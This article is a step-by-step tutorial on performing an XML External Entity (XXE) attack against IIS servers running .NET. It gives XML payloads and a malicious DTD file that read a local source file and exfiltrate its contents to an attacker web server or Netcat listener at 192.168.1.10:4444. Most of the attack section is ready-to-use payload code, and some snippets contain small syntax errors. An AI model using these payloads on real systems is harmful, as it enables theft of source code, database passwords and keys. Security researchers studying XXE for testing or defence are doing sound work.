XXE (XML External Entity) attacks happen when an XML parser improperly processes input from a user that contains an external entity declaration in the doctype of an XML payload. This external entity may contain further code which allows an attacker to read sensitive data on the system or potentially perform other more severe actions.
This article will demonstrate the steps necessary to perform an XXE attack against IIS servers using the Microsoft .NET framework. However, this article will not go into great depth in explaining how these technologies fundamentally work. Please reference the useful links sections below if you would like to know more about these technologies.
Below we can see an example of an external parameter entity named extentity being declared which uses the SYSTEM directive to load the contents of a URI. Then, %extentity; is called in order to trigger a HTTP GET request to the designated URI below.
<?xml version="1.0" encoding="utf-8"?--> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil"> %extentity; ] >
Alternatively, this same directive could be used to access a file locally on a system:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ [<!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml"> %extentity; ] >
However, XML has defined well-formed restrictions that would prohibit the above example. As such, the above example would not load our file at c:/inetpub/wwwroot/Views/secret_source.cshtml and would instead produce an error.
What about entity inception? We could try to embed an entity within an entity within our XML payload. For example:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///c:/inetpub/wwwroot/Views/secret_source.cshtml'>"> %extentity; ] <
Unfortunately, this is also not possible due to XML well-formed restrictions prohibiting external entities from being declared in the value.
We know that we cannot reference a file on our system but we can have the parser grab a resource from a URI. We could attempt to load a Data Type Definition (DTD) file to accomplish this instead. DTD files are files that are loaded prior to an XML file being parsed and tells the parser how to properly interpret an XML file. Let's attempt to embed our restricted entity payloads in our DTD file to bypass these restrictions.
For example, we could load the following xml file into our parser which points to a DTD file. When
%extentity; is called, it loads the contents of our DTD file (evil.dtd) at the provided URI:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd"> %extentity; ] >
We would then need to have a web server listening on port 4444 at the above IP address with the evil.dtd file located at the root of the web directory. What's in this magical DTD file you ask? Well, I'll show you:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">
Line 1 of the above DTD file declares the XML version and encoding. Line 2 declares that we want to grab the contents of a sensitive file. In line 3 we perform entity inception and append the contents of the stolendata file to a URI. This URI will be our webserver listening on port 4444. By doing this, we are able to bypass the XML well-formed restrictions that we attempted to embed earlier in our original XML payload.
The above illustration shows us the first few steps of the process:
1. We upload our original XML payload which points the system to load a DTD file from our remote web server.
2. The XML parser reaches out to the designated URI to retrieve DTD contents.
3. XML parser loads the contents of the DTD into the pre-processing of the original XML payload.
At this point, we have successfully bypassed the well-formed restrictions. However, we still need to call the entities we declared in our DTD file in order to retrieve the contents of
secret_source.cshtml and send them back to our webserver. To do this, we would need to insert
%extentity; in our original XML file before we send the payload. Our original XML payload should now look something like this:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd"> %extentity; %inception; %sendit; ] <
That's it! As long as we had a webserver or a Netcat listener setup on port 4444, the XML parser would send back the contents of the target file (secret_source.cshtml) embedded in the URI of the GET request. Source files containing sensitive information like database passwords and encryption keys exfiltrated using this method could then be leveraged to escalate to more valuable content from there.
Note: There are certain limitations to this technique as the XML parser will produce an error if the file content exceeds 2000 bytes in total length due to URI length restrictions.